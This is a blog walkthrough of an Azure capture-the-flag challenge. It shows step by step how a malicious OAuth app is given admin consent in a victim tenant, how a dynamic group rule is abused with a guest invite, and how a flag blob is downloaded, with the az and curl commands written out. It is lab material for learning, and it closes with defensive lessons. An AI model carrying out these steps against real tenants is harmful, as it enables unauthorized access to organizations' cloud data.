- Published on
Wiz Cloud Security Championship Challenge 3
- Authors
- Name
- Blake Ellis
- @BlakeCops
Welcome to my walkthrough of the Wiz Cloud Security Championship Challenge 3! This was an exciting CTF that tested various Azure security concepts.

The Challenge Setup
When opening the challenge, there's a message which reads: "As an APT group targeting Azure, you've discovered a web app that creates admin users, but they are heavily restricted. To gain initial access, you've created a malicious OAuth app in your tenant and now seek to deploy it into the victim's tenant. Can you bypass the restrictions and capture the flag?"
The environment already contained credentials for our 'malicious' OAuth application and an endpoint of the target web application.
My Solution Approach
I opened up the endpoint to see that we were met with an admin user creation form. We can assume this is what creates the admin users that the challenge mentions are heavily restricted.

After a little googling, I found we could use https://www.whatismytenantid.com/ to get the tenant ID of the domain we were given on the create user form.
I tried logging in manually through the portal and was met with the following error:

After scratching my head for a while and re-reading the message multiple times, I tried to grant our malicious OAuth application admin consent in the target tenant using the following URL:
https://login.microsoftonline.com/[VICTIM_TENANTID]/adminconsent?client_id=[MALICIOUS_APPID]
Once logged into our account, we were prompted to set up 2FA. After completing this, we could see that although the account couldn't login through the portal, it still had permissions to grant admin consent to our malicious app:

The redirect then took us to: https://www.wiz.io/blog/midnight-blizzard-microsoft-breach-analysis-and-best-practices
Which is a great read on the attack we have just done and why its so important to lock down permissions.
Now that we have our app inside the victim's tenant, we can use its service principal to login using the following command:
az login --service-principal \
--username f83cb3d7-47de-4154-be65-c85d697cdfd3 \
--password $AZURE_CLIENT_SECRET \
--tenant d26f353d-c564-48e7-b26f-aa48c6eecd58 \
--allow-no-subscriptions
This provided us with an access token that we could use to query Microsoft Graph. After spending a good 15 minutes testing various endpoints, I discovered that the only endpoint we could access was https://graph.microsoft.com/v1.0/groups to see all the groups in the tenant:
{ "id": "7d060bb7-75e4-456e-b46f-382f4ff0c4fd", "deletedDateTime": null, "classification": null, "createdDateTime": "2025-08-19T14:16:41Z", "creationOptions": [], "description": "Users assigned access to flag", "displayName": "Users assigned access to flag", "expirationDateTime": null, "groupTypes": [ "DynamicMembership" ], "isAssignableToRole": null, "mail": null, "mailEnabled": false, "mailNickname": "44a9daaf-2", "membershipRule": "(user.department -eq \"Finance\") and (user.jobTitle -eq \"Manager\") or (user.displayName -startsWith \"CTF\") and (user.userType -eq \"Guest\") or (user.city -eq \"Seattle\")", "membershipRuleProcessingState": "On", "onPremisesDomainName": null, "onPremisesLastSyncDateTime": null, "onPremisesNetBiosName": null, "onPremisesSamAccountName": null, "onPremisesSecurityIdentifier": null, "onPremisesSyncEnabled": null, "preferredDataLocation": null, "preferredLanguage": null, "proxyAddresses": [], "renewedDateTime": "2025-08-19T14:16:41Z", "resourceBehaviorOptions": [], "resourceProvisioningOptions": [], "securityEnabled": true, "securityIdentifier": "S-1-12-1-2097548215-1164867044-792227764-4257542223", "theme": null, "uniqueName": null, "visibility": null, "onPremisesProvisioningErrors": [], "serviceProvisioningErrors": [] }
I then came across a promising group that appeared to have access to the flag we needed. I ran the following command to try inviting my own domain to the group:
curl -s -X POST https://graph.microsoft.com/v1.0/invitations -H "Authorization: Bearer $ACCESS_TOKEN" -H "Content-Type: application/json" -d '{ "invitedUserEmailAddress": "blakectf@beadmissions.com", "inviteRedirectUrl": "https://myapps.microsoft.com", "displayName": "blakectf" }' | jq
After pasting the redeem URL from the response into my browser and accepting the invitation, I tried to login to the tenant using device code authentication:
az login --tenant d26f353d-c564-48e7-b26f-aa48c6eecd58 --use-device-code
After attempting this three times and encountering the same error about having no subscriptions, I went back to examine the flag group and spotted this key line:
"membershipRule": "(user.department -eq \"Finance\") and (user.jobTitle -eq \"Manager\") or (user.displayName -startsWith \"CTF\") and (user.userType -eq \"Guest\") or (user.city -eq \"Seattle\")",
I realized my account's display name needed to start with "CTF", so I repeated the entire invitation process with the correct naming. This time I saw success! I then logged out of the session using our malicious app and logged in with our new guest account.


I checked my apps and found one that pointed to a blob storage instance, but public network access was disabled. Fortunately, we could still access this using the Azure CLI:
az storage blob download --account-name azurechallengectfflag --container-name grab-the-flag --name ctf_flag.txt --file ctf_flag.txt --auth-mode login
And then to finally claim our prize:
cat ctf_flag.txt
Conclusion
And there we have it! I'll admit some parts were quite challenging, especially since I've only been working extensively with Azure for about 6 months. However, it was an excellent learning experience that demonstrated how poor permission management can allow malicious apps to infiltrate Azure tenants.
This challenge highlighted the importance of:
- Proper OAuth application permissions and consent management
- Dynamic group membership rules and their security implications
- Network access controls for Azure storage accounts
- The principle of least privilege in cloud environments